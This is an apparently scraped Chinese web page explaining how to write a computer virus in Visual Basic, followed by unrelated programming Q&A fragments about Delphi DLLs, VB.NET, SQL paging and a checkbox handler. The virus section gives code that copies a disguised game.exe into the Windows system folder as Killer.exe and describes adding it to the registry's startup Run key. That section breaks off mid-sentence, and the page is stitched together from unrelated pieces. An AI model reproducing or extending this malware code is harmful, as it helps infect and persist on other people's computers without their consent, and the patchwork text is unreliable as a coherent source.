VB编写病毒的大体方法
相信电脑界的每个人都痛恨计算机病毒，她给我们带来了很多麻烦和损失，可你知道编写病毒的方法和过程吗？在此我仅以VB编写为例，揭开她的面纱。
用VB编写病毒需要考虑到如下几点：
* 感染主机
~~~~~~~~~~
首先染毒文件运行后先要判断主机是否以感染病毒，也就是判断病毒主体文件是否存在，如果不存在则将病毒主体拷贝到指定位置(如：
将病毒文件拷贝到c:\windows\system\)，可用filecopy语句实现；如果病毒已感染主机则结束判断。
例如，判断C:\windows\system\Killer.exe是否存在，如果有则退出判断，如果没有则证明本机未感染病毒，立即拷入病毒文件。
病毒源文件名为game.exe
声明部分：
''定义 FileExists% 函数
public success%
Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
代码部分：
''判断文件是否存在
success% = FileExists%("C:\windows\system\Killer.exe")
If success% = False Then ''病毒不存在则拷贝病毒到计算机
FileCopy "game.exe", "C:\windows\system\Killer.exe"
... ''修改注册表，将其加入RUN中。(省略若干代码)
End If
* 开机启动病毒
~~~~~~~~~~~~~~
在病毒感染主机的同时，将自身加入注册表的开机运行中，这与向主机拷入病毒是同时进行的，主机感染后不再修改注册表。可�
相关问答：
我用Delphi写了一个DLL, DLL里有MDI的子窗体,DLL初始化时 传递调用者的TApplication给DLL, 在Delphi7中调用已经通过,但是不知道在VB中有无TApplication对应类型, 是否能在VB中调用?
你好，用instance不是就可以了&# ......
VB偶学得不错，现在大一，高三的时候就学VB了，现在学校里都是学C#和VB.NET的兄弟多。。。
偶要转行VB.NET了~当年学VB学了2年，对VB里面的常用函数都十分了解。
Select、If结构、For Next循环、等都了解。。。 ......
怎么优化查询的效率，比如我想从100万条记录中每次只查询100条记录的话，那么这条sql语句该怎么实现，注意：语言是VBScript的，
http://www.cnblogs.com/anjou/archive/2007/10/17/926944.html
涉及到算法，goog ......
Private Sub Check1_Click()
If Check1.Value = 1 Then
DTP1.Enabled = True
Else
DTP1.Enabled = False
End If
End Sub
Private Sub Check2_Click()
If Check2.Value = 1 Then
DTP2.Enabled = True
Else
......
